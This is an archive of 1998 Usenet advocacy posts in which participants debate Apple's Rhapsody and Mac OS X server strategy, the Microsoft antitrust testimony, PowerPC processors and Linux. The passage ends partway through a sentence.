>> >into an NTkiller strategy by now. The best Rhapsody expectation now? At
>> >best a better Macintosh.
>> Apple is _NOT_ in a position to sell Rhapsody as a "Better NT".
>
>First reaction is OK you're right. Second reaction is that's wrong headed.
>If Apple isn't in a position to better NT with Rhapsody what does that say
>for MacOS X? Did I miss the point of the exercise in Rhapsody?
OSX is being sold as a better MacOS. Apple _is_ in the position to sell that.
Mac users have been waiting for a real OS for a deacde now.
_IF_ (and that is a big if) Apple can ship OSX, with the major Mac Apps
ported to carbon, and some YB Apps to show developers why YB is cool; Apple
can build the credibility it needs to sell OSX as a better NT in 3-5 years.
(3-5 is my estimate, based on NT and Linux market penetration)
>> Apple has zero credibility in the server market.
>Again, right. What does that make the MacOS X server exercise? Are they
>kidding themselves by naming a Mac server?
WO4 can help them build the credibility they need to sell in that market.
It takes time to build an infrastructure. OSX is most certainly a long term
plan.
>> The current g3 server line
>> (even if it was running OSX) is totally inadequate for the market, outside
>> the departmental server market.
>Departmental server is NT's forte. Anything from Apple indicating MacOS X
>is aimed higher?
Another big question mark. I don't doubt that Apple will be selling OSX Server
bundled with a g3 minitower as a departmental server for Mac shops. I don't
see anything from Apple aimed anything higher. Heck, they have no plans for a
6 slot machine for at least 18 months.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 19:03:17 GMT
Organization: Primenet (602)416-7000
Message-ID: <71kvll$q9t$1@nnrp03.primenet.com>
References: <71kj6v$f4j@shelob.afs.com>
: 17. Apple's experience with its Rhapsody operating system illustrates how
: difficult it is to gain acceptance and support for a new operating system in
: the face of Microsoft's monopoly of the operating system market. This
: experience shows that innovation and technical advantages may be
: insufficient to overcome the barriers imposed by Microsoft's domination of
: the operating system market.
There is no denying that Apple started talking to their developers at a
very difficult time. In early '97 especially, the big software houses
were very interested in consolidating in a Windows market. But I think
there is something very wrong at a different level. Apple appears to have
pushed a centrally managed plan for OS conversion. The centerpiece of
that plan appears to be the involvement of market leaders. It should have
been obvious that such a plan could not work. Developers like Adobe and
Quicken and etc. had a lock on a stable (Windows) market. They were not
going to be interested in any plan which introduced risk to their dominant
position.
The only way to start the process was at the grass roots. The big players
would move with the crowd if they thought they had too, in order to
preserve their position.
All one need do is review the stories of a couple recent high-flyers: Java
and Linux. In each case the technology was made available to early
adoptors with a low cost of entry. It was easy for these tehcnologies to
prove their initial utility. They each did "something neat" for free.
The growth pattern of the two was similar - in all but rate. The very
effective marketing of Java by Sun proved to be an amazing accelerent.
In the end, the big players have joined Java and Linux. Neither
technology is complete and trouble-free, but each is fully staffed and
moving forward.
How hard is it for Apple to review what works? I get the feeling that
they would rather be Apple than be right.
John
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 3 Nov 1998 06:48:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71m90p$gsa@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net> <71jcns$h6g@news1.panix.com> <363DEED2.3AF66BDD@ericsson.com>
On Mon, 02 Nov 1998 11:41:38 -0600, Michael Peck
<michael.peck@ericsson.com> wrote:
>> And how many of those AIX servers did Apple sell? I doubt they sold
>> in enough numbers to justify building them.
>First you say that Apple has no credibility in the server market,
They don't. Trust me on this one. I work on MCCA for major banks and
investment houses. Outside of WO, Apple has no product that they care
about, and most certainly no hardware that they care about. That may
change, but not over night. I give it 3-5 years.
And what is your point? Are you claiming that Apple has credibility
in the enterprise market? If so, then why were f500 companies killing
off thier Mac investements? And why was Apple at $13 a share?
Or is your point that Steve is killing Apple's credibility? If that
is so, then why is Apple's stock at 3 times what it was when he took
over?
> now
>you say that you "doubt" that the last effort it made was worth it. You
>can't have it both ways, Sal, sorry. Apple has, in fact, built very
>successful servers.
How many fortune 500 companies have bought AIX Apple's server products?
I work with dozens of VARs and resellers, and I don't know any NY based
Unix shops that ever sold Apple's AIX hardware. How many Apple AIX boxes
do you have over at Ericsson?
>> They might have been nice,
>> but they sure didn't make any dents into that market. FAIK, Gil killed
>> them; after all, he has claimed that Jobs is running Apple under the
>> plan he laid out.
>Oh, please. That is so weak.
Now you're just being evasive.
Gil laid out the hardware plan for Apple with Steve. According to him,
every product killed and every product shipped; other than the iMac was
on his outline. Gil killed your so called "successful AIX Servers"
>> Apple has never stated that OSX will be g3 only, they have only announced
>> support for g3 systems. To paraphrase Joseph Heller, they haven't said
>> they won't, they only haven't said they will.
>What do you take me for? Some kind of imbecile? This is so weak.
There is ample evidence to support what I am saying. Apple has stated that
support for systems other than g3s will be discussed at a future date.
>> And (Oracle||IBM||Microsoft||Sybase||SAP) have never screwed anyone over?
>> VARs and consultants sign on when they smell money to be made. We labor
>> under the assumption that our partners are looking out for their interests
>> and not ours. If you think otherwise, your are being very naive.
>Good grief. Any more words you'd like to stuff into my mouth? The fact
>is, looking after your partners *is* looking out for your own interests,
>that's what makes them partners! Don't be so naive, yourself.
Sorry Mike, but in the real world you often have to make tough decisions.
Sometimes you end up shafting your partners. It happens.
Can you name any company that works under that altruistic fantasy of yours?
Name any major company that hasn't fucked over a partner or three.
> There are
>keen relationships between market size, partnerships, and reliability.
>Apple has none of the above, would you like to guess at the reasons why?
Huh?
>> Apple is building credibility by becoming profitable and shipping products
>> with the appropriate sales support with them.
>In your wildest dreams. I'm sure visions of sugar plums dance beside
>iMacs running Oracle in your head, right? Give it a rest.
I doubt that the iMac will run Oracle any time soon. I do know what Apple
has planned for WO4, and I do know a number of web design firms that have
been courted by the WO folks. I even got to see the Miles Davis custom CD
App that Music Boulevard put together a few days before it hit the web.
WO is doing a lot to help Apple build credibility.
>> If they push WO+OSX Server
>> half as well as they pushed the iMac, I should be very busy selling it in
>> early to mid '99.
>Whatever. Everyone needs a fantasy, I suppose.
Please name any product launch that Gil ran that did as well as the iMac
launch. Name any cloners that sold 40%+ of its machines to new users or
former Wintel users.
Sorry Mike, but your revisionist fantasies about Apple not being in trouble,
and of Gil being "the man with the plan" do not hold up to scrutiny.
>> >You don't have to have a partnership (although that would be nice). You
>> >just have to have a product and a market. Like Linux has.
>>
>> This is a case that supports my statement.
>>
>> How long did it take for Oracle to support Linux? How long did it take
>> port? I'm willing to bet that the debate to support Linux took an order
>> of magnitude longer than the actual port.
>
>Ah, the wonderful twisting and shifting of arguments. At first it was a
>"partnership" that would get Oracle on board, now it's just time.
No Mike, you missed the point. *You* stated that all you needed was a
product. I pointed out that Oracle support for Linux didn't "just happen"
because Linux was there. It took four years. How long did it take for
Oracle to announce support for Unix on Merced? IA64 isn't here yet and
Oracle already has white papers on why it's product is the best for IA64
Unix servers.
http://www.intel.com/pressroom/archive/releases/SP062397.HTM
>Whatever. As far as I can tell, you're banking on the next three years
>to bear out your predictions, which suits me fine because my predictions
>will put Apple out of business well before that.
Whatever. Everyone needs a fantasy, I suppose.
>> >Uh, yes, they would. They would be *immediately* visible in the form of
>> >product shipments and market formation.
>> Huh?
>> You have claimed that there was no way of telling if any Apple ISV would
>> support YellowBox based solely on the lack of product announcements; and,
>> now you claim that a lack of immediately visible evidence means that there
>> is no support.
>Get a clue! You have to have an OS to run on before you can ship
>products for it. That's exactly right, I said that developers wouldn't
>announce for Rhapsody until it existed, which means that *THEY* would
>not be immediately visible. But the *OS* itself *WOULD* be immediately
>visible, because that's the first step.
Sorry Mike, but you are way off base once again.
Apple has testified that none of its major ISV wanted to build Rhapsody
software. The worst thing Apple could have done was turn Rhapsody into another
OS/2 and shipped it with little to no 3rd party support. The second worst
thing they could have done was turn it into another copland and promised
it as all things to all Mac users.
>Oh, jeez. I can't believe I'm fricking doing this again. I swore off
>being your personal kindergarten teacher, now I'm right back in the same
>boat.
And now you drop back down to petty name calling.
I have enough of this crap from you. I'll let you have the last word on this,
feel free to respond with all the petty antics you want.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: About Linux, and OS-X
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1utE0.7r6@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: cbbrowne@news.hex.net
Organization: needs one
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com>
<1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net>
Mime-Version: 1.0
Date: Tue, 3 Nov 1998 16:20:23 GMT
In <71llog$l6v$6@blue.hex.net> Christopher Browne wrote:
>> >...until recently. Look at gnu.gnustep.discuss. They make tremendous
> >progress every week and the people working on it are extremely bright
> >and experienced guys.
>
> I don't see too much "action" there.
Nor I. In fact that's my original reason for going to the group, to find
out what was happening with the HURD. Personally I think the HURD is an
amazing idea, but development seems to be no closer to a real product today
than it was many years ago. The one thing that the group does seem to
generate is flamewars, but other than that there's little in the way of
content.
Maury
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Message-ID: <rbarris-ya023280000211981445230001@206.82.216.1>
References: <F1t9z3.Bq3@T-FCN.Net> <B2637101-538D4@206.165.43.141> <Ufq%1.4718$fS.15509173@news.itd.umich.edu>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Mon, 02 Nov 1998 14:45:23 -0800
NNTP-Posting-Date: Mon, 02 Nov 1998 14:44:25 PDT
In article <Ufq%1.4718$fS.15509173@news.itd.umich.edu>, "Jin Kim"
<kwazyjin@hotmail.com> wrote:
> So, is multi-cored 64-bit G4 processor a reality or just misplaced rumor?
IBM has made public reference to their plans for a "GigaProcessor" which
would have multiple CPU cores on a single piece of silicon. Sometime in
2000... there was brief mention of it on www.eetimes.com a while back as
part of a Microprocessor Forum round-up.
Ah, here it is: http://www.eetimes.com/story/OEG19981016S0007
I have no idea what Apple's plans for a 64-bit MacOS or MacOS X are.
Rob
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com>
Message-ID: <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
Date: Tue, 03 Nov 1998 17:20:10 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 09:20:10 PDT
Organization: @Home Network
In <71m90v$gsa@news1.panix.com> Sal Denaro wrote:
> _IF_ (and that is a big if) Apple can ship OSX, with the major Mac Apps
> ported to carbon, and some YB Apps to show developers why YB is cool;
Apple
> can build the credibility it needs to sell OSX as a better NT in 3-5
years.
> (3-5 is my estimate, based on NT and Linux market penetration)
>
>
They don't have that long in this Java/Win/Linux market...
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com>
Message-ID: <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
Date: Tue, 03 Nov 1998 17:31:27 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 09:31:27 PDT
Organization: @Home Network
In <71m90v$gsa@news1.panix.com> Sal Denaro wrote:
> On Tue, 03 Nov 1998 02:47:14 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> >> Apple has zero credibility in the server market.
> >Again, right. What does that make the MacOS X server exercise? Are they
> >kidding themselves by naming a Mac server?
>
> WO4 can help them build the credibility they need to sell in that market.
> It takes time to build an infrastructure. OSX is most certainly a long
term
> plan.
>
>
Right now OSX long term looks no more than a mini-truck in18 wheeler land.
If OSX is gonna haul freight over the Internet with WO, it's gonna have to
pull right along with Mack trucks like Sun, Linux and NT.
If OSX is a long term plan, Apple must be positioning the server offering
for some future technology layer. What we've heard about making it a
publishing server is simply too limited to justify the bells & whistles like
SMP...
-r
-r
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Message-ID: <cdoutyF1uyCt.JwH@netcom.com>
Sender: cdouty@netcom17.netcom.com
Organization: Netcom Online Services, Inc.
References: <F1t9z3.Bq3@T-FCN.Net> <cdoutyF1tsJL.L5p@netcom.com> <71lvib$qpp$1@morgoth.sfu.ca> <tim-0311980745070001@jump-tnt-0018.customer.jump.net>
Date: Tue, 3 Nov 1998 18:07:41 GMT
In article <tim-0311980745070001@jump-tnt-0018.customer.jump.net>,
Tim Olson <tim@jumpnet.com> wrote:
>In article <71lvib$qpp$1@morgoth.sfu.ca>, erick@sfu.ca (Erick Bryce Wong) wrote:
>
>| Chris Douty <cdouty@netcom.com> wrote:
>| >Jin Kim <kwazyjin@hotmail.com> wrote:
>| >I would suspect that there is a 64-bit Generation 4 (G4) PPC in the works
>| >at IBM. The PPC620 is used in their AS/400 machines, which are fairly
>|
>| Are you sure about that? The AS/400 web page says they use a "PowerPC AS",
>| which has 4.7 million transistors, while the PowerPC 620 (according to the
>| old PowerPC FAQ) has 7 million. I was under the impression that the 620 was
>| not long for this world, having not lived up to its expected performance ratio
>| versus the successful 604e.
>
>
>The AS/400 processor ("Amazon") is a 64-bit PowerPC, but it isn't related
>to the 620. As far as I know, the 620 was only shipped in some high-end
>servers from Bull.
I stand corrected. I knew it was a 64-bit PPC and foolishly assumed that
it was a 620 without checking my facts.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com>
Message-ID: <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
Date: Tue, 03 Nov 1998 02:47:14 GMT
NNTP-Posting-Date: Mon, 02 Nov 1998 18:47:14 PDT
Organization: @Home Network
In <71ikln$94o@news1.panix.com> Sal Denaro wrote:
> On Fri, 30 Oct 1998 02:41:44 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> >Rhapsody has been blown
> >into a $400 million, 2 yr. PregnantPause when it could have been crafted
> >into an NTkiller strategy by now. The best Rhapsody expectation now? At
> >best a better Macintosh.
>
> Apple is _NOT_ in a position to sell Rhapsody as a "Better NT".
>
>
First reaction is OK you're right. Second reaction is that's wrong headed.
If Apple isn't in a position to better NT with Rhapsody what does that say
for MacOS X? Did I miss the point of the exercise in Rhapsody?
> Apple has zero credibility in the server market.
>
>
Again, right. What does that make the MacOS X server exercise? Are they
kidding themselves by naming a Mac server?
> The current g3 server line
> (even if it was running OSX) is totally inadequate for the market, outside
> the departmental server market.
>
>
Departmental server is NT's forte. Anything from Apple indicating MacOS X
is aimed higher?
-r
From: thad@rice.edu (Thad Harroun)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 3 Nov 1998 19:59:19 GMT
Organization: Rice University, Houston, Texas
Message-ID: <71nnan$gvb$1@joe.rice.edu>
References: <1998Oct29.153555.4110@il.us.swissbank.com>
> > jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
> > > BTW, what happened to the cube that you put the first httpd
> > > in america on?
> > > Is it serving mail and news somewhere at SLAC, or is it under glass
> > > somewhere, too?
A picture of the "actual" cube from CERN appears in the November issue of
Physics Today in an article on the WWW and high energy physics.
Thad
-----
thad@rice.edu
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: UNIX outpaces NT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>
<rdm-0111980905280001@140.174.42.30> <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com>
<71lvgk$cr7$1@nnrp02.primenet.com> <0cH%1.13166$yb5.11439671@news.rdc1.sdca.home.com>
<71nhf7$r73$1@nnrp02.primenet.com>
Message-ID: <j%J%1.13178$yb5.11558948@news.rdc1.sdca.home.com>
Date: Tue, 03 Nov 1998 20:49:19 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 12:49:19 PDT
Organization: @Home Network
In <71nhf7$r73$1@nnrp02.primenet.com> John Jensen wrote:
> In article <0cH%1.13166$yb5.11439671@news.rdc1.sdca.home.com> you wrote:
> : In <71lvgk$cr7$1@nnrp02.primenet.com> John Jensen wrote:
> : > Rex Riley <rr6013@yahoo.com> wrote:
> : > : Jobs has traditionally used pricing to scale sales to overhead
> : > : costs. Too low sales price overwhelmes tech support. Apple's worst
> : > : nightmare would be MacOS X Server overnight success. They couldn't
> : > : gear up fast enough.
>
> : > I heard the story once that IBM killed OS/2 because of a support
> : > overload after a too-successful Warp launch.
>
> : > That seems sad. You would think there would be a way to have your
> : > cake and eat it too. Perhaps a low priced version with a "Help CD"[*]
> : > and a higher priced version with "Extended Telephone Support"? If you
> : > give the customer two prices they will know what their options are.
>
> : OS X is no cake walk. It's unix in a crowded theater of Macintosh
> : disciples. It's Java with Obj-C wrapper extensions. OS X customer
> : support via RTFCD is a non-option.
>
> From the above, I thought we were talking about OS X Server.
>
>
We are...
> I think it
> is a little more clean-cut for that product. People who want to run
> Server cheaply think they are tough guys. They shouldn't have a problem
> with reading TFCD. Non-tough guys would buy a support option.
>
>
That's generous... all the tough guys went through the program during NeXT
days ± and left (except <personal list>). The Breed of Cat coming into OS X
server are primadonna's. They have MacSuccess, MacCashflow, MacClout and
MacMBA's in software. This group has expectations, product plans and a
market.
OSX server will have to _mesh_ with their enterprise. It's up to Apple to
get the mesh-age right. They aren't going to let 2-3 programmers pound on
OSX for six months RTFMstyle. They're going to come at OSX server from the
same perspective they leave MacOS Carbone. So there's a great deal of OSX
infrastructure for Apple to put in-place, yet.
Alluding to the tough guys that will run OSX on the cheap, catches that 3%
early adopter's. Garage projects, one-offs and upstarts fall into this
category. That's clean-cut for them and RTFCD works for them. OSX server
is a Tier1 product from a Fortune company led by a man that Fathered them
BOTH.
Job's has been through the "tough guys" and is all too familiar with the
"cult and guru" stigma that comes with that. RTFCD is a non-option. There
won't be any "telephone support" illusions with OSX. This baby will come
packaged with tools, programs, mentors and services to make the
Carbone->OSX(native) transition as quick as possible. A significant
portion of Apple's revenue will come from such services.
> The consumer level OS X is a bit of a different situation, but I don't
> doubt that installation help on a bootable CD can move forward.
>
> Above you say "Jobs has traditionally used pricing to scale sales..."
>
> It seems to me that Jobs has traditionally used pricing to kill products.
>
>
Once inside the OS, the libs, the marketplace and the company the view
changes from B&W to color :-)
-r
BTW: I haven't seen the movie...
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor: business solutions
Date: 3 Nov 1998 21:27:53 GMT
Organization: I don't think so
Message-ID: <slrn73utl8.512.jason@jhste1.dyn.ml.org>
References: <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu> <F1ur27.5EC@T-FCN.Net>
Maury Markowitz posted the following to comp.sys.mac.advocacy:
>> ... or just subsidize SheepShaver.
> This certainly serves one end of their goals, but I think it's less
>exciting to Linux people. A more worthy goal is to make a Yellow Box for
>Linux, a good one. This is certainly doable, adds considerable strength to
>Linux in certain areas, and promotes this first class technology (it
>already runs in a WO/EOF form on Solaris, DEC Unix, PPC Mach, Intel Mach
>and SGI's).
Linux/PowerPC Inc. donated a Linux/PowerPC box to the SheepShaver
developers (does this count?) It should be out pretty soon. In any event,
why would YB be particularly desirable? It has a tiny application base
compared even to open-source UNIX/X apps. (And the fact that you consider
it to be cool is not a compelling reason!)
--
"...and a more offensive spectacle I cannot recall."
-- Newman
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 1998 21:31:49 GMT
Organization: I don't think so
Message-ID: <slrn73utsj.512.jason@jhste1.dyn.ml.org>
References: <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <B26497F7-5CBFB@206.165.43.115>
Lawson English posted the following to comp.sys.mac.advocacy:
>>Look at Lawson - he's about as revolutionary as you can get in regards
>>to OpenDoc and GX, but that doesn't matter -- they've pretty much killed
>>both of them. Other people take him as a object lesson - adopt Apple's
>>latest and greatest and 3 or 4 years latter you'll be singing it's
>>praises while getting ignored for flogging a dead horse.
>What? Just because I can get GX to work as a professional level graphics
>library from within a universally available scripting language like
>HyperTalk?
Universally available? Can I get HyperTalk for Linux/PowerPC?
--
"...and a more offensive spectacle I cannot recall."
-- Newman
From: charlie1@easynet.co.uk (Charlie Whitaker)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 03 Nov 1998 22:16:33 +0000
Organization: None
Distribution: world
Message-ID: <B2653141966877F8@charlie1.easynet.co.uk>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com>
In article <363DDCD0.ED90035C@yahoo.com>,
Robert Fovell <rfovell@yahoo.com> wrote:
>Let me say at the outset that I'm not a Mac basher nor a Microsoft minion.
>That said, I find paragraphs 17-20 very unconvincing as evidence that
>*Microsoft* is _intentionally_ frustrating competition. What it does say is
>that *Apple* lacked the clout and credibility to convince legions of ISVs to
>adopt the Rhapsody APIs. A case of "too much [different], too late"...
As for as I understand things, Microsoft isn't on trial for *intentionally*
frustrating competition. An elephant standing on your foot might be
blissfully unaware of its imposition on you, but that doesn't mean your
toes aren't being crushed, or that the elephant shouldn't be budged.
All companies would like to be monopolies, including Apple. That doesn't
mean they should be allowed to become monopolies, but neither does it mean
that they should be prosecuted for the *intention* to dominate their
respective markets. I might very well wish to be the world's only
architect, so that anyone who wanted to commission a building design had no
choice other than to come to me. Since I clearly am in no such position, it
would be a ludicrous waste of time to attempt to curb my business
activities.
What matters is that technological, social and cultural progress should not
be *actually* (as opposed to intentionally) frustrated by the dominant
market position of any one company. The Microsoft trial is an investigation
into whether this is possibly the situation with that company. If it is
indeed found to be so, then Microsoft will not be punished - no one will go
to jail or pay a fine - but its business activities may well be put in
check or bounded in some way. It is the irony of all antitrust
investigations that monopolies are often highly efficient and productive
businesses whose activities are largely beneficial (I am not saying that
this is the case with Microsoft). However, if it is possible that even
greater benefits might result from restraining or breaking up a monopoly,
then there may be a case for action.
Apples' testimony is evidence that it is very hard, perhaps impossible, for
new PC operating systems to find a market position, even if they are free
and of excellent quality (viz. Linux). Apple's offering - Rhapsody - may
not rate highly in your estimation, but then what does? BeOS? OS/2?
Solaris? Is it inconceivable that a new operating system might be devised
that is better than Windows 95/NT in every respect *except* application
availablity? No. Is it plausible that such an operating system, if offered
to the public tomorrow, would eventually win widespread market acceptance?
Barely. That's the point of Tevanian's testimony.
You may think that Apple doesn't have the clout to do what's needed. But
Apple is the vendor of the No. 2 best selling PC OS. If not them, who else
stands a chance? IBM (still much mightier than Microsoft by far, as
companies are measured) couldn't seem to persuade anyone to use OS/2. It
was highly rated software, from what I hear, that *actually ran Windows
applications*. Except that somehow, some other software company managed to
fix things so that OS/2 never ran Windows applications as well as it might
have. They did this by changing the requirements for running Win32 apps
more quickly than IBM could keep up with. Or so I hear. What matters is not
the malicious intent, but that Microsoft has the power to use such tactics
to suppress its competition.
Actually , I thing Tevanian is just a supporting act. IBM's testimony
should be the really interesting stuff.
Regards,
Charlie Whitaker
charlie1@easynet.co.uk
--
Charlie Whitaker charlie1@easynet.co.uk
-----------------------------------------------------------
"Wovon man nicht sprechen kann, daruber muss man schweigen"
"Whereof one cannot speak, thereon one must remain silent"
(Ludwig Wittgenstein 1889-1951: philosopher and architect)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple as Linux vendor: business solutions
Content-Type: text/plain; charset=us-ascii
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Cc: josh@vortex.nyu.edu
Organization: needs one
References: <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost>
<3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost>
<keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet>
<adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet>
<adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1>
<FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com>
<D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu>
Mime-Version: 1.0
Date: Tue, 3 Nov 1998 15:30:07 GMT
In <slrn73sj8q.ktf.josh@vortex.nyu.edu> Josh Fishman wrote:
> > Yeah--what Apple decided to go full-steam on attacking the NT's
> > current strangle hold on enterpise mindshare using straigt Linux:
I don't think this is true, I think this was one customer's solution. It
does demonstrate a couple of things though...
a) Linux continues to make inroads as a server even in spaces where it's
not at the forefront of the average techy talk. The very fact that it was
used in the Mac space says a lot more than people seem to credit.
b) that Mac users are still utterly dedicated to Apple, here's a customer
that would likely be better served overall by a Linux/Intel solution, yet
they deliberately chose a solution that ran on what is alsmot surely more
expensive Apple machinery (the high end gets up there).
> > Port a boatload of Mac apps to Linux
This to me is the whole problem. For one thing there's no obvious way to
do this. Are they to be X apps? If so, using who's desktop? Remember
that what makes a Mac a Mac goes beyond having a mouse, it's integration of
all parts under the GUI. Currently the Linux space can't provide this, and
my biggest complaint with it is that it doesn't appear they will be able to
in the short term either.
Also there's no help doing this in the way of cross compilers, object
runtimes, event runtimes etc. This is a LOT OF WORK, and you may as well
port Windows products.
Finally Apple's plan is to bring out a Unix based OS that more directly
serves their markets (running on PPC first for instance), includes such a
library (Carbon) and a unified GUI. It also includes their application
services suite (EOF, WO, PDO) which is where a lot of their "high end"
income seems to be coming from.
Serving Linux would get them the PC market, and certainly expand their
mindshare while at the same time making them friendlier to a market that
currently shuns them (look over 50% of the threads about Apple here for
instance). I does not do anything technically great, certainly nothing
they couldn't do by simply continuing to release the current PC based
Rhapsody.
> > and sell Apple hardware with
> > Linx-preinstalled (I don't know if it'd be best for them to be
> > duel-boot or not.)
I think you're missing that Apple will shortly have their own Unix
(although shortly is certainly open to consideration!)
> ... or just subsidize SheepShaver.
This certainly serves one end of their goals, but I think it's less
exciting to Linux people. A more worthy goal is to make a Yellow Box for
Linux, a good one. This is certainly doable, adds considerable strength to
Linux in certain areas, and promotes this first class technology (it
already runs in a WO/EOF form on Solaris, DEC Unix, PPC Mach, Intel Mach
and SGI's).
Maury
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 3 Nov 1998 19:04:32 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71nk40$1ro$1@cronkite.cs.umd.edu>
References: <01bdfc5b$c2fd8520$06387880@chewy> <36314761.686007A9@milestonerdl.com> <71di2h$3ua$1@nnrp1.dejanews.com> <71jik4$ghk$1@cronkite.cs.umd.edu> <71l1mc$e2o$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 3 Nov 1998 19:04:32 GMT
milo_mklinux@my-dejanews.com wrote:
> > > > WWDC 1998
> > > > Newton - Dead
> > >
> > > Get a Palm PC and get over it.
> Oops! How embarassing! I meant to say "Get a Palm Pilot and get over it."
A Palm Pilot is a rather different machine from a Newton, with a very
different design function.
> > Not until they even *approach* the abilities of a MessagePad 2000 or 2100.
> > WinCE is still a truly awful environment, it's just amazing they could
